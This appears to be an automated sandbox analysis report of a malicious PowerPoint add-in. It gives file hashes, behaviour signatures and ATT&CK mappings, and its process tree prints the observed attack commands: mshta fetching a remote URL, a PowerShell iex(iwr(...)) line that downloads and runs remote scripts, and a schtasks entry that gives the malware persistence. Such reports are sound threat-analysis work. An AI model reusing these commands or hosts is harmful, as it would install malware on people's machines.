Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    01-12-2021 13:39

General

  • Target

    9c33919f9e8a218686332f5e1879b8755a2579f8.ppam

  • Size

    8KB

  • MD5

    025c1af2b8e11a2001b7d359f2a4e58d

  • SHA1

    9c33919f9e8a218686332f5e1879b8755a2579f8

  • SHA256

    39d20d577f1cba20c8d720f08ae14eae8bd46fa60297a8b11d8f4aad6aa81221

  • SHA512

    a37580612747a84a4796d8dbd64c8953e7e4606eb940bdbcaf2cc29ecacb1b2549b4d9414e242a01eee5ad026f0b99e2617b7932ba08e24ceb5b57208766ca45

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\9c33919f9e8a218686332f5e1879b8755a2579f8.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:284
      • \??\c:\windows\SysWOW64\mshta.exe
        c:\windows\system32\calc\..\mshta https://[email protected]/ODOASODOcsjfjsdfbsjjsde
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:840
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_07c0571d8ff44a22a741071a79f17b7d.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1920
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kwqwzzabvco"" /F /tr ""\""MsHtA""\""https://[email protected]/p/3.html\""
          3⤵
          • Creates scheduled task(s)
          PID:936

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/284-58-0x0000000000000000-mapping.dmp
    • memory/284-60-0x000007FEFC511000-0x000007FEFC513000-memory.dmp
      Filesize

      8KB

    • memory/840-61-0x0000000000000000-mapping.dmp
    • memory/936-65-0x0000000000000000-mapping.dmp
    • memory/1192-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1192-59-0x0000000075801000-0x0000000075803000-memory.dmp
      Filesize

      8KB

    • memory/1192-56-0x0000000071B61000-0x0000000071B63000-memory.dmp
      Filesize

      8KB

    • memory/1192-55-0x0000000074B31000-0x0000000074B35000-memory.dmp
      Filesize

      16KB

    • memory/1192-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1920-63-0x0000000000000000-mapping.dmp
    • memory/1920-67-0x0000000002551000-0x0000000002552000-memory.dmp
      Filesize

      4KB

    • memory/1920-66-0x0000000002550000-0x0000000002551000-memory.dmp
      Filesize

      4KB

    • memory/1920-68-0x0000000002552000-0x0000000002554000-memory.dmp
      Filesize

      8KB